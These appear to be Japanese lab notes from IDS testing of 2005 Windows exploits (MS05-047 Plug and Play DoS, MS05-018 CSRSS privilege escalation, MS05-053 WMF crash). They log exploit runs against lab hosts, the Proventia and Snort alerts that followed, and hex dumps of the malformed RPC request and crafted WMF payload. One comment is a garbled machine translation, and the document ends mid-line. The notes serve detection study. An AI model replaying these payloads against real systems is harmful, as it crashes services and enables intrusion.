【Proventia】MSRPC_PlugAndPlay_DeviceSlashBo

■シグネチャの説明

http://www.iss.net/security_center/static/22481.php



■References
Microsoft Security Bulletin MS05-047
Vulnerability in Plug and Play Could Allow Remote Code Execution and Local Elevation of Privilege (905749)
http://www.microsoft.com/technet/security/bulletin/ms05-047.mspx

CVE
CVE-2005-2120
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2120



■IDS検知


MSRPC_PlugAndPlay_DeviceSlashBo


パケット

No. Time Source Destination Protocol Info
5236 2005-12-24 06:58:04.253249 192.168.221.110 192.168.221.180 DCERPC Request: call_id: 1[Short Frame]

Frame 5236 (1514 bytes on wire, 1514 bytes captured)
Ethernet II, Src: 00:10:5a:64:fa:71, Dst: 00:d0:c9:96:61:5c
Internet Protocol, Src Addr: 192.168.221.110 (192.168.221.110), Dst Addr: 192.168.221.180 (192.168.221.180)
Transmission Control Protocol, Src Port: 1031 (1031), Dst Port: microsoft-ds (445), Seq: 586, Ack: 448, Len: 1448
NetBIOS Session Service
SMB (Server Message Block Protocol)
SMB Pipe Protocol
[Short Frame: DCERPC]

0000 00 d0 c9 96 61 5c 00 10 5a 64 fa 71 08 00 45 00 ....a\..Zd.q..E.
0010 05 dc 05 ff 40 00 40 06 f2 a8 c0 a8 dd 6e c0 a8 ....@.@......n ..
0020 dd b4 04 07 01 bd 65 40 19 9d f7 51 e3 3e 80 18 ......e@...Q .>..
0030 7d 78 a9 9c 00 00 01 01 08 0a 00 2c c0 53 00 00 }x.........,.S..
0040 1b b2 00 00 08 84 ff 53 4d 42 25 00 00 00 00 18 .......SMB%.....
0050 07 c8 00 00 00 00 00 00 00 00 00 00 00 00 00 08 ................
0060 ff fe 00 08 80 01 10 00 00 30 08 00 00 00 10 00 .........0......
0070 00 00 00 00 00 00 00 00 00 00 00 54 00 30 08 54 ...........T.0.T
0080 00 02 00 26 00 00 40 41 08 a2 5c 00 50 00 49 00 ...&..@A..\.P.I .
0090 50 00 45 00 5c 00 00 00 00 00 05 00 00 03 10 00 P.E.\...........
00a0 00 00 30 08 00 00 01 00 00 00 18 08 00 00 00 00 ..0.............
00b0 0a 00 44 f7 12 00 00 04 00 00 00 00 00 00 00 04 ..D.............
00c0 00 00 48 00 54 00 52 00 45 00 45 00 5c 00 52 00 ..H.T.R.E.E.\.R.
00d0 4f 00 4f 00 54 00 5c 00 5c 00 5c 00 5c 00 5c 00 O.O.T.\.\.\.\.\.
00e0 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
00f0 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0100 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0110 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0120 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0130 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0140 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0150 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0160 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0170 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0180 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0190 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
01a0 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
01b0 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
01c0 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
01d0 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
01e0 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
01f0 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0200 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0210 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0220 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0230 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0240 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0250 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0260 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0270 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0280 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0290 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
02a0 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
02b0 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
02c0 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
02d0 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
02e0 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
02f0 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0300 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0310 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0320 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0330 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0340 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0350 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0360 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0370 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0380 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0390 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
03a0 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
03b0 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
03c0 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
03d0 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
03e0 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
03f0 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0400 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0410 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0420 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0430 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0440 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0450 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0460 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0470 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0480 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0490 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
04a0 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
04b0 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
04c0 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
04d0 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
04e0 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
04f0 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0500 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0510 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0520 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0530 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0540 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0550 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0560 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0570 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0580 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
0590 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
05a0 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
05b0 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
05c0 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
05d0 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.\.\.\.
05e0 5c 00 5c 00 5c 00 5c 00 5c 00 \.\.\.\.\.


ハニーネットプロジェクト, 園田 道夫, ドキュメントシステム
ハニーネットプロジェクト―汝の敵を知れ:セキュリティ脅威者の分析

【MS】MS05-047　Plug-and-Play (Umpnpmgr.dll) DoS

■脆弱性の説明MS05-047

http://www.microsoft.com/japan/technet/security/Bulletin/MS05-047.mspx


■コメント

/* Program: Denial of Service attack for MS UMPNPMGR PNP_GetDeviceList
* Author: Winny Thomas
* Vulnerability: no length checking on passed parameter to PNP_GetDeviceList in UMPNPMGR.dll
* Note: The code crashes services.exe on the target, effectively bringing down the target against which its run.
* This code is for educational/testing purposes by authorized persons on networks systems setup for such purposes
* The author shall bear no responsibility for any damage caused by using this code.
*/


■実証コード

OSWin2K(日本語)+SPなし(失敗)


Usage: upnp_getdevicelist_DOS <host name|ip address>
[root@linux]# ./MS05-047_02 192.168.221.180

==========================================
WIN2K UPNP interface DOS Attack
Coded by Winny Thomas :-)
==========================================

[*] Resolving 192.168.221.180: OK
[*] SMB Negotiation with 192.168.221.180: OK
[*] SMB Session setup ANDX 1 with 192.168.221.180: OK
[*] SMB Session setup ANDX 2 with 192.168.221.180: Failed
[root@linux]#


Win2k(英語)＋SPなし(成功)


==========================================
WIN2K UPNP interface DOS Attack
Coded by Winny Thomas :-)
==========================================

[*] Resolving 192.168.221.180: OK
[*] SMB Negotiation with 192.168.221.180: OK
[*] SMB Session setup ANDX 1 with 192.168.221.180: OK
[*] SMB Session setup ANDX 2 with 192.168.221.180: OK
[*] SMB Tree Connect ANDX with 192.168.221.180: OK
[*] SMB NT Create ANDX Request to 192.168.221.180: OK
[*] DCERPC Bind to UPNP RPC Service at 192.168.221.180: OK
[*] PNP_GetDeviceList request to 192.168.221.180: OK
[root@linux ]#


■Proventia

2005-12-24 06:52:52 JST SMB_Filename N/A \\192.168.221.180\IPC$ N/A N/A 445 microsoft-ds
2005-12-24 06:52:52 JST SMB_Filename N/A \browser N/A N/A 445 microsoft-ds
2005-12-24 06:52:52 JST Windows_Null_Session N/A N/A TEST-7NZ5L7TFED HOD 445 microsoft-ds
2005-12-24 06:52:52 JST MSRPC_PlugAndPlay_Detected N/A N/A N/A N/A 445 microsoft-ds
2005-12-24 06:52:52 JST MSRPC_PlugAndPlay_DeviceSlashBo 0xA N/A N/A N/A 445 microsoft-ds

※MSRPC_PlugAndPlay_DeviceSlashBo　http://ameblo.jp/amaterasu/entry-10007366599.html


■Snort

[**] [1:2466:6] NETBIOS SMB-DS IPC$ unicode share access [**]
[Classification: Generic Protocol Command Decode] [Priority: 3]
12/24-12:55:47.005044 192.168.221.110:1025 -> 192.168.37.180:445
TCP TTL:63 TOS:0x0 ID:68 IpLen:20 DgmLen:152 DF
***AP*** Seq: 0xAEF22CA1 Ack: 0x758C4E71 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 77335 39570

[**] [111:2:1] (spp_stream4) possible EVASIVE RST detection [**]
12/24-12:55:47.504969 192.168.221.110:1025 -> 192.168.37.180:445
TCP TTL:255 TOS:0x0 ID:41071 IpLen:20 DgmLen:40
*****R** Seq: 0xAEF22E0D Ack: 0x0 Win: 0x0 TcpLen: 20

ハニーネットプロジェクト, 園田 道夫, ドキュメントシステム
ハニーネットプロジェクト―汝の敵を知れ:セキュリティ脅威者の分析

【MS】MS05-047 Win2k UPNP Memory Leak DoS

■脆弱性の説明MS05-047

http://www.microsoft.com/japan/technet/security/Bulletin/MS05-047.mspx


■コメント
働いている間、MS05-047のための功績では、どこが状態の向こう側に来ていたか。
_getdevicelistが引き起こすupnpへの特に、作られた要求aにメモリを消費するservices.exeがどこを指すか、仮想でマシンを対象とします。
メモリはへこたれます。 この功績はMS05-047功績iと同様ではありません。
より早く発行されています。 以前のものはaを引き起こす目標のEIPを破壊しました。
クラッシュは、services.exeと結局、停止するためにシステムを降ろしました。
しかしながら、この功績(再びDOS)では、仮想記憶はaに消費されます。
HTTPが、デスクトップが(「マイコンピュータ」をクリックする同類)を要求するのを要求するポイント
SMBは、などがいつかのために修理されないのを要求します。 いつか
メモリ使用量は下ります、そして、目標システムは標準として動作するでしょう。 しかしながら
コンティヌオに目標に対して実行されると、このコードは支えられたaに通じます。
DOS攻撃。
タスクマネージャを目標システムに始めて、このコードを実行します。
仮想記憶用法が急騰するのを対象として、見ます。

私は、呼び出しのときにこのコードを実行するとき、upnp_getdevicelistに壊れるのに
windbgを使用しました。
しかしながら、中断ポイントが打たれる前にさえシステムは無反応になります。
奇妙に、操作を変えますが、中でDCERPC要求に付番します。
0xa(upnp_getdevicelist)以外の他の何かがDOSを試みるでしょう。
失敗します。 恐らくペイロードを変えて、aに少ししか噛み付かないで、そうがそれである、基本的さルーチンdontを反整理するのは、誤りを返して、この効果を再生させるかもしれません。
また、他のUPNP操作のために。以下でテストされました。 Windows2000サーバのSP0、SP2、およびSP3。 私はこれをテストしていません。UPNPのための最近の熱いフィックスがある上のマシンのいずれも。


■実証コード

[root@linux]# ./Memory 192.168.221.180


!------------------------------------------!
Memory leak when sending upnp_getdevicelist request
Coded by: Winny Thomas :-)
NevisLabs
Nevis Networks, Pune, INDIA
!------------------------------------------!

[*] Resolving 192.168.221.180: OK
[*] Sending SMB Negotiate request: OK
[*] Sending Null Session request: OK
[*] Sending Null Session request: OK
[*] Sending Tree Connect request: OK
[*] Sending NT Creat AndX request: OK
[*] Sending DCE RPC Bind UPNPMGR request: OK
[*] UPNPMGR upnp_getdevicelist request: nca_s_fault_ndr

[root@linux]#


■攻撃の詳細

http://grin.flagbind.jp/archives/2005/11/18/index.html


■Proventia

2005-12-24 00:03:33 JST MSRPC_PlugAndPlay_Detected N/A 8d9f4e40-a03d-11ce-8f69-08003e30051b 445 microsoft-ds 192.168.221.110 1026 192.168.221.180 3118016 192.168.221.180 192.168.221.110 1026 6 1026 445 Default
2005-12-24 00:03:33 JST Windows_Null_Session N/A N/A 445 microsoft-ds 192.168.221.110 1026 192.168.221.180 3102039 192.168.221.180 192.168.221.110 1026 6 1026 445 Default HOD TEST-LR0IS30UAX
2005-12-24 00:03:33 JST SMB_Filename \\192.168.221.180\IPC$ N/A 445 microsoft-ds 192.168.221.110 1026 192.168.221.180 3000501 192.168.221.180 192.168.221.110 1026 6 1026 445
2005-12-24 00:03:33 JST SMB_Filename \browser N/A 445 microsoft-ds 192.168.221.110 1026 192.168.221.180 3000501 192.168.221.180 192.168.221.110 1026 6 1026 445
2005-12-24 00:05:41 JST SMB_Filename \\192.168.221.180\IPC$ N/A 445 microsoft-ds 192.168.221.110 1027 192.168.221.180 3000501 192.168.221.180 192.168.221.110 1027 6 1027 445
2005-12-24 00:05:41 JST SMB_Filename \browser N/A 445 microsoft-ds 192.168.221.110 1027 192.168.221.180 3000501 192.168.221.180 192.168.221.110 1027 6 1027 445
2005-12-24 00:05:41 JST Windows_Null_Session N/A N/A 445 microsoft-ds 192.168.221.110 1027 192.168.221.180 3102039 192.168.221.180 192.168.221.110 1027 6 1027 445 Default HOD TEST-LR0IS30UAX
2005-12-24 00:05:41 JST MSRPC_PlugAndPlay_Detected N/A 8d9f4e40-a03d-11ce-8f69-08003e30051b 445 microsoft-ds 192.168.221.110 1027 192.168.221.180 3118016 192.168.221.180 192.168.221.110 1027 6 1027 445 Default



■snort

[**] [1:2466:6] NETBIOS SMB-DS IPC$ unicode share access [**]
[Classification: Generic Protocol Command Decode] [Priority: 3]
12/24-00:02:59.175174 192.168.221.110:1026 -> 192.168.37.180:445
TCP TTL:63 TOS:0x0 ID:648 IpLen:20 DgmLen:152 DF
***AP*** Seq: 0x48CA2FFD Ack: 0xFE750415 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 445855 41373



ハニーネットプロジェクト, 園田 道夫, ドキュメントシステム
ハニーネットプロジェクト―汝の敵を知れ:セキュリティ脅威者の分析



【MS】MS05-018 CSRSS Local Privilege Escalation

■脆弱性の説明MS05-018

http://www.microsoft.com/japan/technet/security/Bulletin/MS05-018.mspx


■実証コード

C:\C>MS05-018.exe
MS05-018 windows CSRSS.EXE Stack Overflow exp v1.0
Affect: Windows 2000 sp3/sp4 (all language)
Coded by eyas <eyas at xfocus.org>
http://www.xfocus.net

Usage: MS05-018.exe pid

[+] PID=252 Process=WINLOGON.EXE


■影響の詳細については、以下のURLをご参照ください。

http://grin.flagbind.jp/archives/2005/09/12/index.html


■IDS

リモートからの攻撃でない為、IDSによる検知なし。


ハニーネットプロジェクト, 園田 道夫, ドキュメントシステム
ハニーネットプロジェクト―汝の敵を知れ:セキュリティ脅威者の分析

【MS】MS05-053 Metafile (mtNoObjects) DOS

■脆弱性の説明MS05-053

http://www.microsoft.com/japan/technet/security/Bulletin/MS05-053.mspx


■実証コード作成者のコメント
このコードからの作られたメタファイル(WMF)はそれを墜落させます。 問題は見られます。

Metafileヘッダーの分野'mtNoObjects'が0×0000に設定されるとき。

コードはWindows2000サーバSP4でテストされました。 問題は起こりません。

GDI(MS05-053)のためのhotfixはインストールされました。

■実証コード

[root@linux ]# ./a.out
[*] Adding Metafile header
[*] Adding metafile records
[*] Setting EOF
[*] Creating Metafile (MS053.wmf)
[root@linux]#


■Proventia（IDS)での検知状況

Microsoft Windows Metafile image format buffer overflow (Image_WMF_NumObjects_Corrupt)
This signature detects a Windows Metafile containing a header specifyingWMF number of objects of 0.


Systems affected
Windows 2000: SP4, Windows XP: SP2, Windows XP: SP1, Windows Server 2003: Itanium, Windows Server 2003: SP1 Itanium, Windows XP: Pro x64 Edition, Windows Server 2003: SP1, Windows Server 2003: x64 Edition, Windows Server: 2003


Vulnerability description
Microsoft Windows 2000, Windows XP, and Windows Server 2003 could allow a remote attacker to execute arbitrary code, caused by a buffer overflow in the rendering of Windows Metafile (WMF) image formats. A remote attacker could create a specially-crafted file containing an image to overflow a buffer and execute arbitrary code on the system, and possibly cause a denial of service attack. An attacker could exploit this vulnerability by sending the malicious image to a victim as an email attachment and tricking the victim into opening the attachment or by hosting it on a Web site and persuading the victim to visit the Web site. A local attacker could exploit this vulnerability to obtain elevated privileges.


How to remove this vulnerability
Apply the appropriate patch for your system, as listed in Microsoft Security Bulletin MS05-053. See References.


References
Microsoft Security Bulletin MS05-053
Vulnerabilities in Graphics Rendering Engine Could Allow Code Execution (896424)
http://www.microsoft.com/technet/security/Bulletin/MS05-053.mspx

ISS X-Force
Microsoft Windows Metafile image format buffer overflow
http://www.iss.net/security_center/static/22877.php

CVE
CVE-2005-2124
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2124


検知イベント

Image_WMF_NumObjects_Corrupt


検知パケット

00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d HTTP/1.1 200 OK.
00000010 0a 44 61 74 65 3a 20 46 72 69 2c 20 32 33 20 44 .Date: F ri, 23 D
00000020 65 63 20 32 30 30 35 20 30 34 3a 34 34 3a 32 36 ec 2005 04:44:26
00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 GMT..Se rver: Ap
00000040 61 63 68 65 2f 31 2e 33 2e 31 32 20 28 55 6e 69 ache/1.3 .12 (Uni
00000050 78 29 20 20 28 52 65 64 20 48 61 74 2f 4c 69 6e x) (Red Hat/Lin
00000060 75 78 29 20 6d 6f 64 5f 73 73 6c 2f 32 2e 36 2e ux) mod_ ssl/2.6.
00000070 36 20 4f 70 65 6e 53 53 4c 2f 30 2e 39 2e 35 61 6 OpenSS L/0.9.5a
00000080 20 6d 6f 64 5f 70 65 72 6c 2f 31 2e 32 34 0d 0a mod_per l/1.24..
00000090 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 46 Last-Mod ified: F
000000A0 72 69 2c 20 32 33 20 44 65 63 20 32 30 30 35 20 ri, 23 D ec 2005
000000B0 30 34 3a 34 33 3a 34 39 20 47 4d 54 0d 0a 45 54 04:43:49 GMT..ET
000000C0 61 67 3a 20 22 32 39 66 30 32 2d 32 61 63 2d 34 ag: "29f 02-2ac-4
000000D0 33 61 62 38 30 38 35 22 0d 0a 41 63 63 65 70 74 3ab8085" ..Accept
000000E0 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a -Ranges: bytes..
000000F0 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 Content- Length:
00000100 36 38 34 0d 0a 4b 65 65 70 2d 41 6c 69 76 65 3a 684..Kee p-Alive:
00000110 20 74 69 6d 65 6f 75 74 3d 31 35 2c 20 6d 61 78 timeout =15, max
00000120 3d 39 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a =98..Con nection:
00000130 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 43 6f 6e Keep-Al ive..Con
00000140 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f tent-Typ e: text/
00000150 70 6c 61 69 6e 0d 0a 0d 0a d7 cd c6 9a 00 00 c6 plain... ........
00000160 fb ca 02 aa 02 39 09 e8 03 00 00 00 00 66 a6 01 .....9.. .....f..
00000170 00 09 00 00 03 ac 02 00 00 00 00 40 01 00 00 00 ........ ...@....
00000180 00 05 00 00 00 0b 02 39 09 c6 fb 05 00 00 00 0c .......9 ........
00000190 02 91 f9 e4 06 04 00 00 00 06 01 01 00 07 00 00 ........ ........
000001A0 00 fc 02 00 00 0e 0d 0d 00 00 00 04 00 00 00 2d ........ .......-
000001B0 01 00 00 08 00 00 00 fa 02 05 00 00 00 00 00 ff ........ ........
000001C0 ff ff 00 04 00 00 00 2d 01 01 00 04 00 00 00 06 .......- ........
000001D0 01 01 00 14 00 00 00 24 03 08 00 c6 fb ca 02 bc .......$ ........
000001E0 fe ca 02 0f 01 49 06 a5 02 49 06 f4 00 68 08 d5 .....I.. .I...h..
000001F0 fc 65 06 86 fe 65 06 c6 fb ca 02 08 00 00 00 fa .e...e.. ........
00000200 02 00 00 00 00 00 00 00 00 00 00 04 00 00 00 2d ........ .......-
00000210 01 02 00 07 00 00 00 fc 02 00 00 ff ff ff 00 00 ........ ........
00000220 00 04 00 00 00 2d 01 03 00 04 00 00 00 f0 01 00 .....-.. ........
00000230 00 07 00 00 00 fc 02 00 00 bd 34 30 00 00 00 04 ........ ..40....
00000240 00 00 00 2d 01 00 00 04 00 00 00 2d 01 01 00 04 ...-.... ...-....
00000250 00 00 00 06 01 01 00 0e 00 00 00 24 03 05 00 d5 ........ ...$....
00000260 fc 36 07 da fc d1 06 8b fe d1 06 86 fe 36 07 d5 .6...... .....6..
00000270 fc 36 07 04 00 00 00 2d 01 02 00 04 00 00 00 2d .6.....- .......-
00000280 01 03 00 04 00 00 00 f0 01 00 00 07 00 00 00 fc ........ ........
00000290 02 00 00 bd 34 30 00 00 00 04 00 00 00 2d 01 00 ....40.. .....-..
000002A0 00 04 00 00 00 2d 01 01 00 04 00 00 00 06 01 01 .....-.. ........
000002B0 00 0e 00 00 00 24 03 05 00 c6 fb 9b 03 cb fb 36 .....$.. .......6
000002C0 03 c1 fe 36 03 bc fe 9b 03 c6 fb 9b 03 04 00 00 ...6.... ........
000002D0 00 2d 01 02 00 04 00 00 00 2d 01 03 00 04 00 00 .-...... .-......
000002E0 00 f0 01 00 00 07 00 00 00 fc 02 00 00 fb 4e 55 ........ ......NU
000002F0 00 00 00 04 00 00 00 2d 01 00 00 04 00 00 00 2d .......- .......-
00000300 01 01 00 04 00 00 00 06 01 01 00 0e 00 00 00 24 ........ .......$
00000310 03 05 00 bc fe 9b 03 c1 fe 36 03 14 01 b5 06 0f ........ .6......
00000320 01 1a 07 bc fe 9b 03 04 00 00 00 2d 01 02 00 04 ........ ...-....
00000330 00 00 00 2d 01 03 00 04 00 00 00 f0 01 00 00 07 ...-.... ........
00000340 00 00 00 fc 02 00 00 bd 34 30 00 00 00 04 00 00 ........ 40......
00000350 00 2d 01 00 00 04 00 00 00 2d 01 01 00 04 00 00 .-...... .-......
00000360 00 06 01 01 00 0e 00 00 00 24 03 05 00 0f 01 1a ........ .$......
00000370 07 14 01 b5 06 aa 02 b5 06 a5 02 1a 07 0f 01 1a ........ ........
00000380 07 04 00 00 00 2d 01 02 00 04 00 00 00 2d 01 03 .....-.. .....-..
00000390 00 04 00 00 00 f0 01 00 00 07 00 00 00 fc 02 00 ........ ........
000003A0 00 fa 94 93 00 00 00 04 00 00 00 2d 01 00 00 04 ........ ...-....
000003B0 00 00 00 2d 01 01 00 04 00 00 00 06 01 01 00 14 ...-.... ........
000003C0 00 00 00 24 03 08 00 c6 fb 9b 03 bc fe 9b 03 0f ...$.... ........
000003D0 01 1a 07 a5 02 1a 07 f4 00 39 09 d5 fc 36 07 86 ........ .9...6..
000003E0 fe 36 07 c6 fb 9b 03 04 00 00 00 2d 01 02 00 04 .6...... ...-....
000003F0 00 00 00 2d 01 03 00 04 00 00 00 f0 01 00 00 03 ...-.... ........
00000400 00 00 00 00 00 .....


HTTP/1.1 200 OK

Date: Fri, 23 Dec 2005 04:44:26 GMT

Server: Apache/1.3.12 (Unix) (Red Hat/Linux) mod_ssl/2.6.6 OpenSSL/0.9.5a mod_perl/1.24

Last-Modified: Fri, 23 Dec 2005 04:43:49 GMT

ETag: "29f02-2ac-43ab8085"

Accept-Ranges: bytes

Content-Length: 684

Keep-Alive: timeout=15, max=98

Connection: Keep-Alive

Content-Type: text/plain


............9.......f.............@...........9 ..............................

.......-.......................-...............$.............I...I...h...e...e.........................-.....................-....................40.......-.......-...............$.....6...........6...6.....-.......-....................40.......-.......-...............$.........6...6.............-.......-....................NU.......-.......-...............$.........6.................-.......-....................40.......-.......-...............$...........................-.......-.............................-.......-...............$.....................9...6...6.........-.......-.................



■Snort(IDS)検知状況
cus.com/bid/10120]

